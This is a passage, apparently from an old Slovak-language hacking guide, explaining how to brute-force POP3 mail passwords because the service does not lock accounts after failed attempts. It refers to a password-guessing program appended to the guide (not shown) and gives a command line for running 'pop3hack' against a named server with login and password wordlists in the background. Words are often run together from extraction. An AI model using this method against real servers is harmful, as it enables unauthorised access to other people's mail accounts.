neblokuje uzivatelovi konto, ako sa to moze stat ked hadas heslo cez normalny login, ci FTP (

napr. 5 neuspesnych pokusov, a uz sa konto zablokuje).- Pop3 sluzba je nainstalovana na serveri

skoro vzdy.Samozrejme, natiska sa tu problem: Kto ma furt dokola vypisovat "user, pass,user,

pass ....) Odpoved je jednoducha: Preco by za nas nemohol pracovatstroj? Na konci tejto prirucky

je ako priloha zdrojak programu na hadaniehesiel.Staci ak si ho odtialto 'vystrihnes', hodis na

nejaky UNIXovy stroj, askompilujes. Potrebujes este 2 subory - jeden s loginmi uzivatelov

ktorych hesla sa buduhadat, a druhy so samotnymi heslami. Program prejde vsetky

kombinacielogin/password z prveho a druheho suboru. Ak najde spravne heslo, vypise ho.

Odporucam nechat program bezat na pozadi, a vystup presmerovat do suboru.Napriklad takto:%

pop3hack test

.testland.com loginy passwordy > vystup.out &V tomto pripade sme si zobrali na musku server

test.testland.com, subor sloginmi sa vola 'loginy', zoznam hesiel je v subore 'passwordy', a

aksa najde spravne heslo, zapise sa to do suboru vystup.outUpozornenie: Vyskusaj si najprv

rychlost spojenia na dany server. Ak jespojenie pomale, moze hadanie trvat celu vecnost.Program

pouzivaj len na vlastne riziko a na vlastnu zodpovednost.
Web Page Maker, create your own web pages.